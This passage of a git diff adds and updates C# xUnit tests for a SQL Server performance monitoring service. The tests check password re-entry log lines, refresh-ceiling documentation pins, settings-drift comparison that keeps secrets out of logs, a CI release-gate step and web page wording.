+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The line the service logs when saved passwords have to be entered again (#5366), and what it says instead while the
+/// old-format passwords are only waiting for the one-time pin step (#5456).
+/// </summary>
+public sealed class ReenterLineTests
+{
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-1)]
+    public void NothingToEnter_SaysNothing(int count)
+    {
+        Assert.Null(StoreConfigProvider.ReenterLine(count, waiting: false));
+        Assert.Null(StoreConfigProvider.ReenterLine(count, waiting: true));
+    }
+
+    [Fact]
+    public void WhenNotWaiting_TheLineStaysTheEnterAgainText()
+    {
+        var one = StoreConfigProvider.ReenterLine(1, waiting: false);
+        Assert.NotNull(one);
+        Assert.StartsWith("1 saved password needs to be entered again.", one, StringComparison.Ordinal);
+
+        var many = StoreConfigProvider.ReenterLine(3, waiting: false);
+        Assert.NotNull(many);
+        Assert.StartsWith("3 saved passwords need to be entered again.", many, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WhileWaiting_SaysWait()
+    {
+        var one = StoreConfigProvider.ReenterLine(1, waiting: true);
+        Assert.NotNull(one);
+        Assert.Contains("for the one-time pin step. Do not enter it again yet.", one, StringComparison.Ordinal);
+        Assert.Contains("Do not enter", one, StringComparison.Ordinal);
+        Assert.DoesNotContain("needs to be entered again", one, StringComparison.Ordinal);
+
+        var many = StoreConfigProvider.ReenterLine(3, waiting: true);
+        Assert.NotNull(many);
+        Assert.StartsWith("3 saved old-format passwords wait for the one-time pin step.", many, StringComparison.Ordinal);
+        Assert.Contains("Do not enter them again yet.", many, StringComparison.Ordinal);
+        Assert.NotEqual(StoreConfigProvider.ReenterLine(3, waiting: false), many);
+    }
+}
diff --git a/Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs b/Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs
index 16bbbe658b..257ebf5e54 100644
--- a/Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs
+++ b/Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs
@@ -126,6 +126,7 @@ namespace Darling.Tests;
 /// file not to break the same rule. A rule stated in one paragraph binds nothing in the paragraphs a
 /// reader meets thousands of lines away, so where it is stated is not where it needs enforcing.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class RefreshCeilingProvenancePinTests
 {
     /// <summary>
@@ -561,11 +562,13 @@ four captured numbers are load-bearing and the drift sweep can reach every one o
            the grid, reducing LightHourlyRefreshCount to 12. The 3 successors that remain unmeasured are still
            argued by shape, but covered == total (12 == 12) so the scope sentence was deleted from the doc. The
            pin retires with the sentence: covered == total was the exit condition the comment named. */
-        /* RETIRED: yield return (
+        /* RE-ENABLED at #5329: the two io hourlies were registered after the census read, so the census covers
+           12 of the 14 light views and the scope sentence is back, with this pin. */
+        yield return (
             "the light views the census covers and the ones registered after it",
             LightCeilingDeclaration,
             @"it covers ([0-9]+) of the ([0-9]+) light views the constant now bounds; the ([0-9]+) registered after the read are unmeasured",
-            true); */
+            true);
 
         /* The exclusion CONTROL, which is what says the succeeded/finish filter is not selecting the
            population: both figures are the same number, and that number is the census count. A filter that
@@ -1924,10 +1927,21 @@ population to widen rather than as three sentences to reconcile. */
             + "the maximum, so one of the two is wrong");
         /* A6: census now covers the full grid (covered == LightHourlyRefreshCount), so the view count in
            the census sentence is directly pinned here instead of via the scope sentence. */
-        Require(lightCensus[3] == TimescaleSupport.LightHourlyRefreshCount,
-            $"the census sentence says it covers {lightCensus[3]} views against the "
-            + $"{TimescaleSupport.LightHourlyRefreshCount} non-heaviest hourly policies the product registers — "
-            + "the census covers the full grid; if a new view was added after the census re-read it");
+        /* #5329: the census was read over twelve light views and the product now registers fourteen. The scope
+           sentence accounts for the difference: covered is the census's own count, total is the product's, and
+           unmeasured is the remainder the shape argument in the prose is made for. A census re-read over the
+           full layout states covered == total and unmeasured == 0, and retires the sentence again. */
+        var scope = Read("the light views the census covers and the ones registered after it");
+        Require(scope[0] == lightCensus[3],
+            $"the scope sentence says it covers {scope[0]} light views but the census sentence read {lightCensus[3]}");
+        Require(scope[1] == TimescaleSupport.LightHourlyRefreshCount,
+            $"the scope sentence says the constant bounds {scope[1]} light views against the "
+            + $"{TimescaleSupport.LightHourlyRefreshCount} non-heaviest hourly policies the product registers");
+        Require(scope[2] == TimescaleSupport.LightHourlyRefreshCount - lightCensus[3],
+            $"the scope sentence says {scope[2]} views are unmeasured; the product registers "
+            + $"{TimescaleSupport.LightHourlyRefreshCount} against a census of {lightCensus[3]}");
+        Require(lightCensus[3] + scope[2] == TimescaleSupport.LightHourlyRefreshCount,
+            "covered plus unmeasured does not equal the product's light-policy count");
         /* #3653 (Q12): the census was read over twelve light views and the product registers fifteen. The
            scope sentence has to account for every one of the difference by name-of-count — covered plus
            unmeasured equals the light-policy count, the covered count is the census's own, and the
diff --git a/Darling/Darling.Tests/RefreshCeilingStalenessTests.cs b/Darling/Darling.Tests/RefreshCeilingStalenessTests.cs
index 0b9e0f2e5c..7fcbafaee5 100644
--- a/Darling/Darling.Tests/RefreshCeilingStalenessTests.cs
+++ b/Darling/Darling.Tests/RefreshCeilingStalenessTests.cs
@@ -572,16 +572,18 @@ private static IReadOnlyList<string> StaleDerivationClaims(string source) =>
     /// existence is the concrete demonstration that the recorded ceiling was overtaken from inside the
     /// routine band (#3182).
     ///
-    /// <para><b>This case was written to EXPIRE, expired at #3653 (Q12), and was RESTORED at #3653 (A6).</b>
-    /// At Q12 the watch line fell from 1,050 s to 900 s — below this 952 s run — so the run classified
-    /// <see cref="TimescaleSupport.RefreshSlotHeadroom.ApproachingSlot"/> and was no longer invisible to the
-    /// slot watch. The A6 freeze re-derived the heaviest window back to 21 minutes, raising the five-sixths
-    /// line to 1,050 s again, so the 952 s run is back BELOW the watch line and back in
-    /// <see cref="TimescaleSupport.RefreshSlotHeadroom.InsideSlot"/> — invisible to the slot watch again.
-    /// The staleness line still fires on it (the ceiling finding is unchanged), and the band in which a run
-    /// can overtake the constant while the slot watch stays at Debug is <c>[896, 1,050)</c>: 154 seconds wide,
-    /// the same width as at #3174 (before Q12 narrowed it to 4 s). The mechanism this file guards is still
-    /// reachable and this run still demonstrates it.</para>
+    /// <para><b>This case was written to EXPIRE, expired at #3653 (Q12), was RESTORED at #3653 (A6), and
+    /// expires AGAIN at #5329.</b>
+    /// At Q12 the watch line fell from 1,050 s to 900 s, below this 952 s run, so the run classified
+    /// <see cref="TimescaleSupport.RefreshSlotHeadroom.ApproachingSlot"/>. The A6 freeze raised the line back to
+    /// 1,050 s and the run went back to <see cref="TimescaleSupport.RefreshSlotHeadroom.InsideSlot"/>. The two io
+    /// hourlies (#5329) joined the phase grid as light members, which re-derived the heaviest window from 21 to
+    /// 19 minutes and the five-sixths line from 1,050 s to 950 s, so the 952 s run is 2 s ABOVE the watch line
+    /// and visible to the slot watch again, still 188 s inside the 1,140 s wall. The staleness line still fires
+    /// on it (the ceiling finding is unchanged), and the band in which a run can overtake the constant while the
+    /// slot watch stays at Debug is <c>[896, 950)</c>: 54 seconds wide (154 at A6, 4 at Q12). The mechanism this
+    /// file guards is still reachable, through a DERIVED reading inside that band, and this run still
+    /// demonstrates it from the other side: a ceiling-falsifying run that the slot watch also reports.</para>
     /// </summary>
     [Fact]
     public void TheMeasuredRunThatDemonstratedTheDefect_StillFalsifiesTheRecordedCeiling()
@@ -596,16 +598,16 @@ public void TheMeasuredRunThatDemonstratedTheDefect_StillFalsifiesTheRecordedCei
             + "still outside it, or drop this case and keep the derived ones — or the reading is being "
             + "cited against a constant it was not measured against (#3182)");
 
-        /* #3653 A6: the A6 freeze raised the watch line back to 1,050 s, so the run is again BELOW it and
-           invisible to the slot watch — the InsideSlot case restored. Pinned in this direction with the
-           margin; a grid that moves the line BELOW 952 s (a narrower window) has to re-read this case. */
+        /* #5329: the two io hourlies re-derived the watch line to 950 s, so the 952 s run is 2 s ABOVE it and
+           the slot watch sees it: the Q12 state, the ApproachingSlot case. Pinned in this direction with the
+           margin; a grid that moves the line back ABOVE 952 s (a wider window) has to re-read this case. */
         Assert.True(
-            MeasuredCleanRunSeconds < WatchLine,
-            $"the quoted {MeasuredCleanRunSeconds} s run is now ABOVE the {WatchLine} s watch line — the "
-            + "run is no longer invisible to the slot watch; re-read this case for the ApproachingSlot band");
-        Assert.Equal(98, WatchLine - MeasuredCleanRunSeconds);
+            MeasuredCleanRunSeconds > WatchLine,
+            $"the quoted {MeasuredCleanRunSeconds} s run is at or below the {WatchLine} s watch line, so the "
+            + "run is invisible to the slot watch again; re-read this case for the InsideSlot band");
+        Assert.Equal(2, MeasuredCleanRunSeconds - WatchLine);
         Assert.Equal(
-            TimescaleSupport.RefreshSlotHeadroom.InsideSlot,
+            TimescaleSupport.RefreshSlotHeadroom.ApproachingSlot,
             TimescaleSupport.ClassifyRefreshSlotHeadroom(MeasuredCleanRunSeconds));
         Assert.True(
             MeasuredCleanRunSeconds < TimescaleSupport.RefreshPhaseSlotSeconds,
@@ -626,13 +628,13 @@ public void TheMeasuredRunThatDemonstratedTheDefect_StillFalsifiesTheRecordedCei
         Assert.StartsWith("Warning:", log.Joined, StringComparison.Ordinal);
 
         /* THE BAND THAT IS LEFT for #3182's mechanism — overtaking the constant while the slot watch logs at
-           Debug — is the gap between the two constants: 1,050 - 896 = 154 s at A6's grid (was 4 s at Q12).
+           Debug — is the gap between the two constants: 950 - 896 = 54 s at #5329's grid (154 s at A6, 4 s at Q12).
            A DERIVED reading one second above the ceiling still sits inside it, still classifies InsideSlot,
            and still falsifies the constant, so the mechanism this file guards is reachable and not vacuous;
            a grid that closed the band entirely (watch line at or below the ceiling) is red in
            TimescaleSupportTests, not here. */
         var invisibleBandSeconds = WatchLine - Ceiling;
-        Assert.Equal(154, invisibleBandSeconds);
+        Assert.Equal(54, invisibleBandSeconds);
         Assert.True(invisibleBandSeconds > 0, "the watch line is at or below the recorded ceiling (#3653)");
 
         var insideTheBand = Ceiling + 1d;
diff --git a/Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs b/Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs
index 887f1670b4..a06a3df81b 100644
--- a/Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs
+++ b/Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs
@@ -38,6 +38,7 @@ namespace Darling.Tests;
 /// DPAPI blob, so comparing them would report a WORKING configuration as drift on every start — quite apart
 /// from putting a secret one string interpolation away from a log line.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class RegisteredServerSettingDriftTests
 {
     /// <summary>A darling.json entry: no stored id, so its <c>ServerId</c> is derived from its own address.</summary>
@@ -66,6 +67,7 @@ private static MonitoredServer StoreRow(MonitoredServer like)
             AlertDeliveryModeOverride = like.AlertDeliveryModeOverride,
             Engine = like.Engine,
             Port = like.Port,
+            AwsRoleArn = like.AwsRoleArn,
         };
 
         copy.StoredServerId = ServerIdHelper.GetDeterministicHashCode(copy.StorageName);
@@ -196,6 +198,38 @@ public void AnUnsetDatabase_IsNotDriftAgainstTheEnginesImplicitDefault(string en
         Assert.Equal(explicitName, drift.StoreValue);
     }
 
+    /// <summary>
+    /// The AWS role a darling.json entry names is compared against the registered row's (#5452): a file role that differs
+    /// from the stored one shows as drift, a blank and an unset role agree, and the external ID beside it is never
+    /// compared or printed.
+    /// </summary>
+    [Fact]
+    public void TheAwsRole_IsCompared_AndTheExternalIdIsNot()
+    {
+        var file = FileEntry("pgtarget", "pgtarget-host");
+        file.Engine = "postgres";
+        file.Auth = "sql";
+        file.Username = "darling_monitor";
+        var store = StoreRow(file);
+
+        Assert.Empty(Compare(file, store));
+
+        file.AwsRoleArn = "  ";
+        Assert.Empty(Compare(file, store));
+
+        file.AwsRoleArn = "arn:aws:iam::123456789012:role/darling-monitor";
+        file.AwsExternalId = "file-external-id";
+        store.AwsExternalId = "stored-external-id";
+        var drift = Assert.Single(Compare(file, store));
+        Assert.Equal("awsRoleArn", drift.Field);
+        Assert.Equal("arn:aws:iam::123456789012:role/darling-monitor", drift.FileValue);
+        Assert.Equal("(none)", drift.StoreValue);
+        Assert.False(drift.AffectsConnection);
+
+        store.AwsRoleArn = file.AwsRoleArn;
+        Assert.Empty(Compare(file, store));
+    }
+
     /// <summary>
     /// Port 0 means "the driver's default", which for Npgsql is 5432 — one value, not two. The message prints
     /// the effective port for the same reason: it is what was compared.
@@ -885,6 +919,10 @@ collection on a server because someone rotated a credential collection never use
         {
             "password", "encryptedPassword",
             "remediationUsername", "remediationEncryptedPassword",
+            /* #5452: the external ID sent with a server's AWS role. Excluded for the credential's reasons: it is a
+               stored secret, and a stored secret is never read back for a compare (the comparison read does not
+               select it), so it cannot reach a log line. The role beside it, awsRoleArn, is compared. */
+            "awsExternalId",
         };
 
         var keys = typeof(MonitoredServer)
@@ -916,6 +954,7 @@ collection on a server because someone rotated a credential collection never use
                 AlertDeliveryModeOverride = null,
                 Engine = engine,
                 Port = 5432,
+                AwsRoleArn = "arn:aws:iam::123456789012:role/darling-store",
             };
             store.StoredServerId = ServerIdHelper.GetDeterministicHashCode(store.StorageName);
 
@@ -935,6 +974,8 @@ collection on a server because someone rotated a credential collection never use
                 AlertDeliveryModeOverride = AlertNotificationMode.PerEvent,
                 Engine = engine == "postgres" ? "sqlserver" : "postgres",
                 Port = 5433,
+                AwsRoleArn = "arn:aws:iam::123456789012:role/darling-file",
+                AwsExternalId = "file-external-id",
             };
 
             foreach (var d in StoreConfigProvider.CompareServerSettings(file, store))
@@ -960,9 +1001,10 @@ a field label that is not a real key sends the operator to edit something that i
         /* And that the exclusion list has not quietly grown past the credential. The literal IS the
            mechanism: an exclusion is only legitimate with an argument, and the argument belongs in the
            comment above beside the key, so growing this list has to show up in a diff. V113 (#2138 phase 1)
-           added the remediation credential's two keys, which is why it is four rather than two. */
+           added the remediation credential's two keys, and V169 (#5452) the AWS external ID, which is why it is
+           five rather than two. */
         Assert.Equal(
-            new[] { "encryptedPassword", "password", "remediationEncryptedPassword", "remediationUsername" },
+            new[] { "awsExternalId", "encryptedPassword", "password", "remediationEncryptedPassword", "remediationUsername" },
             excluded.OrderBy(k => k).ToArray());
 
         /* The property behind the literal, so this is not purely a frozen list that the next lane bumps
@@ -973,10 +1015,47 @@ a field label that is not a real key sends the operator to edit something that i
         {
             Assert.Matches(
                 new System.Text.RegularExpressions.Regex(
-                    "(?:password|username)$",
+                    "(?:password|username|externalid)$",
                     System.Text.RegularExpressions.RegexOptions.IgnoreCase
                         | System.Text.RegularExpressions.RegexOptions.CultureInvariant),
                 key);
         }
     }
+
+    /// <summary>
+    /// A drifted connection setting on an entry that carries a password or a reference ends the file's password being
+    /// used (the backfill needs every connection setting to agree), and the warning says so: the server is named and the
+    /// sentence is the clause. An entry with no password, or a drift that is not a connection setting, adds nothing.
+    /// </summary>
+    [Fact]
+    public void ADriftedConnectionSettingOnAnEntryWithAPassword_SaysTheFilesPasswordIsNotUsedUntilTheyAgree()
+    {
+        var withPassword = FileEntry("pgtarget", "pgtarget.example.internal");
+        withPassword.Auth = "sql";
+        withPassword.Username = "darling_monitor";
+        withPassword.EncryptedPassword = "env:PGTARGET_PASSWORD";
+        var withoutPassword = FileEntry("other", "other.example.internal");
+        var costOnly = FileEntry("costly", "costly.example.internal");
+        costOnly.Auth = "sql";
+        costOnly.Username = "darling_monitor";
+        costOnly.Password = "typed-in-the-file";
+        var stores = new[] { StoreRow(withPassword), StoreRow(withoutPassword), StoreRow(costOnly) }
+            .Select(r => Registered(r)).ToList();
+
+        withPassword.EncryptMode = "Strict";
+        withoutPassword.EncryptMode = "Strict";
+        costOnly.MonthlyCostUsd = 99m;
+
+        var drifted = StoreConfigProvider.DescribeSettingDrift(new[] { withPassword, withoutPassword, costOnly }, stores);
+        Assert.Equal(3, drifted.Count);
+
+        var note = StoreConfigProvider.DescribePasswordNotUsed(drifted, 10);
+        Assert.Contains("its password from darling.json is not used until the two agree", note, System.StringComparison.Ordinal);
+        Assert.Contains("pgtarget", note, System.StringComparison.Ordinal);
+        Assert.DoesNotContain("other", note, System.StringComparison.Ordinal);
+        Assert.DoesNotContain("costly", note, System.StringComparison.Ordinal);
+        Assert.DoesNotContain("typed-in-the-file", note, System.StringComparison.Ordinal);
+        Assert.DoesNotContain("PGTARGET_PASSWORD", note, System.StringComparison.Ordinal);
+        Assert.Equal("", StoreConfigProvider.DescribePasswordNotUsed(drifted.Where(d => d.Server != "pgtarget").ToList(), 10));
+    }
 }
diff --git a/Darling/Darling.Tests/RegressedFromProductiveTests.cs b/Darling/Darling.Tests/RegressedFromProductiveTests.cs
index 31eb3dab18..7af4c8b469 100644
--- a/Darling/Darling.Tests/RegressedFromProductiveTests.cs
+++ b/Darling/Darling.Tests/RegressedFromProductiveTests.cs
@@ -244,7 +244,7 @@ let an ordinary bad window manufacture a regression. */
     [InlineData("DarlingDataReader.CollectionHealthSql")]
     [InlineData("DarlingFleetReader.FleetCollectionHealthSql")]
     [InlineData("ViewerDataService.CollectionHealthSql")]
-    [InlineData("ViewerDataService.FleetCollectionHealthSql")]
+    [InlineData("ViewerDataService.FleetCollectionHealthByServerSql")]
     public void EveryBandingRead_SelectsBothRegressionInstants(string which)
     {
         var sql = which switch
@@ -252,7 +252,7 @@ public void EveryBandingRead_SelectsBothRegressionInstants(string which)
             "DarlingDataReader.CollectionHealthSql" => DarlingDataReader.CollectionHealthSql,
             "DarlingFleetReader.FleetCollectionHealthSql" => DarlingFleetReader.FleetCollectionHealthSql,
             "ViewerDataService.CollectionHealthSql" => ViewerDataService.CollectionHealthSql,
-            "ViewerDataService.FleetCollectionHealthSql" => ViewerDataService.FleetCollectionHealthSql,
+            "ViewerDataService.FleetCollectionHealthByServerSql" => ViewerDataService.FleetCollectionHealthByServerSql,
             _ => throw new ArgumentOutOfRangeException(nameof(which), which, "unmapped banding read"),
         };
 
diff --git a/Darling/Darling.Tests/ReleaseStatementGateWorkflowTests.cs b/Darling/Darling.Tests/ReleaseStatementGateWorkflowTests.cs
new file mode 100644
index 0000000000..d5f8733ff4
--- /dev/null
+++ b/Darling/Darling.Tests/ReleaseStatementGateWorkflowTests.cs
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The statement-filter release gate runs inside the release job, before the job packages anything (#5320, N4).
+///
+/// <para><b>The defect this closes was a gate nobody ran.</b> <c>StatementColumnCensusTests.StatementCensus_PendingEntries_BlockARelease</c>
+/// once failed while a statement-column census entry was pending only when <c>DARLING_RELEASE_CUT=1</c>, and the only
+/// place that said to set it was a checklist step. A release that skipped the step shipped with a column still
+/// unhooked and every check green. The first ruling (Erik, 2026-10-06) is that the release job runs the gate itself, and
+/// that no other workflow sets the variable. Nothing is pending now, so the test fails on ANY pending entry whether or not
+/// the variable is set (#5320): a pull request that adds an unjudged column fails in its own Darling test run, and the
+/// release step is the backstop, not the only place the gate bites.</para>
+/// </summary>
+public sealed class ReleaseStatementGateWorkflowTests
+{
+    private const string ReleaseWorkflow = ".github/workflows/build.yml";
+    private const string NightlyWorkflow = ".github/workflows/nightly.yml";
+    // Bound to the test with nameof (via StatementColumnCensusTests.ReleaseGateTestName), so renaming the test fails the
+    // workflow pin below rather than leaving the gate filtering on a name that matches nothing (review of #5367, B-M1).
+    private const string GateTest = StatementColumnCensusTests.ReleaseGateTestName;
+
+    // The one summary line the runner prints for exactly one passing test. The gate step must demand this whole line.
+    private const string ExactGateSummary = "Total: 1, Errors: 0, Failed: 0, Skipped: 0, Not Run: 0";
+
+    private sealed record Step(string Job, string Name, string Text);
+
+    /// <summary>Every step of every job in a workflow, comment lines dropped so a rationale that quotes a command is not judged as one.</summary>
+    private static List<Step> Steps(string workflow)
+    {
+        var steps = new List<Step>();
+        var job = string.Empty;
+        string? name = null;
+        var text = new List<string>();
+        var inJobs = false;
+
+        void Flush()
+        {
+            if (name is not null)
+            {
+                steps.Add(new Step(job, name, string.Join("\n", text)));
+            }
+
+            name = null;
+            text.Clear();
+        }
+
+        foreach (var raw in ReadRepoFileLf(workflow).Split('\n'))
+        {
+            if (raw.TrimStart().StartsWith('#'))
+            {
+                continue;
+            }
+
+            if (raw.StartsWith("jobs:", StringComparison.Ordinal))
+            {
+                inJobs = true;
+                continue;
+            }
+
+            var jobHeader = Regex.Match(raw, @"^  ([A-Za-z0-9_-]+):\s*$");
+            if (inJobs && jobHeader.Success)
+            {
+                Flush();
+                job = jobHeader.Groups[1].Value;
+                continue;
+            }
+
+            var stepHeader = Regex.Match(raw, @"^      - name:\s*(.*)$");
+            if (stepHeader.Success)
+            {
+                Flush();
+                name = stepHeader.Groups[1].Value.Trim();
+            }
+
+            if (name is not null)
+            {
+                text.Add(raw);
+            }
+        }
+
+        Flush();
+
+        // Non-vacuity: a scan that read nothing would satisfy the "no other workflow sets it" half by having nothing to judge.
+        Assert.True(steps.Count >= 10, $"only {steps.Count} steps found in {workflow}; the scan is not reading the file");
+        return steps;
+    }
+
+    private static bool IsPackaging(Step s) =>
+        Regex.IsMatch(s.Text, @"dotnet publish |Compress-Archive|\bvpk\b");
+
+    private static bool SetsTheGate(Step s) =>
+        Regex.IsMatch(s.Text, @"DARLING_RELEASE_CUT\s*:\s*['""]?1['""]?\s*$", RegexOptions.Multiline);
+
+    [Fact]
+    public void TheReleaseJob_RunsTheStatementGateWithTheReleaseCutOn_BeforeItsFirstPackagingStep()
+    {
+        var steps = Steps(ReleaseWorkflow);
+        var gate = Assert.Single(steps.Where(SetsTheGate).ToList());
+
+        Assert.Contains("github.event_name == 'release'", gate.Text, StringComparison.Ordinal);
+        Assert.Contains(GateTest, gate.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("continue-on-error", gate.Text, StringComparison.Ordinal);
+
+        // The gate runs the one test: with no filter the runner executes the whole suite a second time.
+        Assert.Matches(@"-method\s+""?\*?" + GateTest, gate.Text);
+
+        // A -method filter that matches nothing exits 0 with "Total: 0", so a zero-test run would pass. The step must read the
+        // runner's summary and fail unless it shows exactly the one passing test, and must also fail on the runner's own exit code.
+        Assert.Contains(ExactGateSummary, gate.Text, StringComparison.Ordinal);
+        Assert.Matches(@"-not\s*\(\s*Select-String[^\r\n]*" + Regex.Escape(ExactGateSummary) + @"[^\r\n]*\)\s*\)\s*\{", gate.Text);
+        Assert.Matches(@"\$LASTEXITCODE\s+-ne\s+0", gate.Text);
+        Assert.Matches(@"Tee-Object\s+-FilePath\s+(\S+)[\s\S]*Select-String\s+-Path\s+\1\s", gate.Text);
+
+        var jobSteps = steps.Where(s => s.Job == gate.Job).ToList();
+        var firstPackaging = jobSteps.FindIndex(s => s.Name != gate.Name && IsPackaging(s));
+        Assert.True(firstPackaging >= 0, "the gate's job has no packaging step: the scan is not reading it");
+
+        var gateIndex = jobSteps.FindIndex(s => s.Name == gate.Name);
+        Assert.True(
+            gateIndex < firstPackaging,
+            $"the statement gate step '{gate.Name}' (step {gateIndex}) must run before '{jobSteps[firstPackaging].Name}' (step {firstPackaging}), "
+            + "the job's first packaging step, so a release cannot publish while a statement column is pending (#5320)");
+    }
+
+    [Fact]
+    public void TheGateTest_FailsOnAnyPendingEntry_WhetherOrNotTheReleaseCutIsSet()
+    {
+        // #5320: the ratchet is part of every Darling test run, so the test must not branch on the variable. A copy of the
+        // old "only when DARLING_RELEASE_CUT=1" shape would let a pull request add an unjudged column and pass.
+        var source = ReadRepoFileLf("Darling/Darling.Tests/StatementColumnCensusTests.cs");
+        var start = source.IndexOf("public void " + GateTest + "()", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the gate test method was not found in StatementColumnCensusTests.cs");
+
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, "the end of the gate test method was not found");
+
+        var body = source[start..end];
+        Assert.DoesNotContain("GetEnvironmentVariable", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("DARLING_RELEASE_CUT", body, StringComparison.Ordinal);
+        Assert.Contains("Assert.True(", body, StringComparison.Ordinal);
+        Assert.Contains("pending.Length == 0", body, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(NightlyWorkflow)]
+    [InlineData(ReleaseWorkflow)]
+    public void OnlyTheReleaseStep_SetsTheReleaseCut(string workflow)
+    {
+        // The test no longer reads the variable, so setting it elsewhere is redundant; the release-only step stays the one place that
+        // names it, so the release backstop is a single pinned step rather than a variable scattered over workflows.
+        var offending = Steps(workflow)
+            .Where(s => s.Text.Contains("DARLING_RELEASE_CUT", StringComparison.Ordinal))
+            .Where(s => !(workflow == ReleaseWorkflow
+                && SetsTheGate(s)
+                && s.Text.Contains("github.event_name == 'release'", StringComparison.Ordinal)))
+            .Select(s => s.Job + " / " + s.Name)
+            .ToList();
+
+        Assert.True(
+            offending.Count == 0,
+            "DARLING_RELEASE_CUT=1 fails the build while any statement column is pending; only the release-only gate step may set it (#5320):\n  "
+            + string.Join("\n  ", offending));
+    }
+}
diff --git a/Darling/Darling.Tests/ReleaseWalkWordingTests.cs b/Darling/Darling.Tests/ReleaseWalkWordingTests.cs
new file mode 100644
index 0000000000..c5b42738cf
--- /dev/null
+++ b/Darling/Darling.Tests/ReleaseWalkWordingTests.cs
@@ -0,0 +1,191 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The release walk's web wording and count fixes, run against the shipped page modules under Node
+/// (<c>web-release-walk-harness.mjs</c>; skipped when Node is not installed): W1 the offline fleet card's age, W5 the
+/// Availability Group counts, W7 and W11 the words for a precondition and an answered-only answer, and W8 the Repro
+/// script's time stamp.
+/// </summary>
+public sealed class ReleaseWalkWordingTests
+{
+    private static string Scenario(string scenario, string[]? inputs = null)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-release-walk-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        if (inputs is not null)
+        {
+            psi.Environment["HARNESS_INPUT"] = JsonSerializer.Serialize(inputs);
+        }
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page code cannot be run.");
+            return "";
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the release-walk harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the release-walk harness failed: " + error.Result);
+            return output;
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void ADarkPastTheFleetWindowCard_SaysItLastCollectedMoreThanTwoDaysAgo()
+    {
+        using var doc = JsonDocument.Parse(Scenario("fleetDark"));
+        var texts = Strings(doc.RootElement.GetProperty("dark"));
+        Assert.Contains("Offline · last collected more than 2 days ago", texts);
+        Assert.Contains("no recent collection · last collected more than 2 days ago", texts);
+        Assert.Contains(texts, t => t == "last collected more than 2 days ago");
+        Assert.DoesNotContain(texts, t => t == "no recent collection" || t.EndsWith("· no recent collection", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void ADarkCardThePageGetsALastCollectionFor_ShowsTheRealAge_NotTheTwoDayBound()
+    {
+        using var doc = JsonDocument.Parse(Scenario("fleetDarkRealAge"));
+        var texts = Strings(doc.RootElement.GetProperty("dark"));
+        Assert.Contains("Offline · last collect 12d ago", texts);
+        Assert.Contains("last collected 12d ago", texts);
+        Assert.DoesNotContain(texts, t => t.Contains("more than 2 days", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void AProblemListThatCouldNotBeRead_StaysOnThePageAndShowsTheError_NotHiddenAsIfThereWereNoProblems()
+    {
+        using var doc = JsonDocument.Parse(Scenario("serverTabReadFails"));
+        Assert.True(doc.RootElement.GetProperty("found").GetBoolean(), "the Analysis could not read these data families panel was not found");
+        Assert.NotEqual("none", doc.RootElement.GetProperty("display").GetString());
+        Assert.Contains("The store took too long to answer this read", doc.RootElement.GetProperty("text").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnOfflineCardWithALastCollection_KeepsItsExactAge()
+    {
+        using var doc = JsonDocument.Parse(Scenario("fleetInWindow"));
+        var texts = Strings(doc.RootElement.GetProperty("dark"));
+        Assert.Contains("Offline · last collect 5h ago", texts);
+        Assert.Contains("last collected 5h ago", texts);
+        Assert.DoesNotContain(texts, t => t.Contains("more than 2 days", StringComparison.Ordinal));
+    }
+
+    [Fact]
